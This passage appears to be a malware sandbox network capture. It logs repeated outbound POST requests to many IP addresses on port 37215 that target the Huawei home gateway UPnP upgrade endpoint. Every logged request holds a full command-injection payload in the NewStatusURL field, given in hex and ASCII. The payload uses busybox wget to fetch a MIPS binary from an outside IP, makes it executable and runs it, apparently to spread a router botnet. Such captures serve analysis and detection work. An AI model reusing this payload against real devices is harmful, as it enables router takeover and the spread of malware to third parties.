65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.13	55070	41.32.180.88	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.912210941 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.13	40194	197.96.67.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.915406942 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.13	40248	197.173.53.127	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.919958115 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.13	50140	156.185.196.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.923310995 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.13	36352	197.162.38.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.926116943 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.13	36822	156.176.72.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.974215031 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.13	38538	197.100.191.88	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.976877928 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.13	49058	41.91.167.45	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.979244947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.13	52294	156.57.219.52	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.982582092 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.13	46338	197.15.161.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.985074043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.13	58618	197.79.118.244	37215

Timestamp	Bytes transferred	Direction	Data
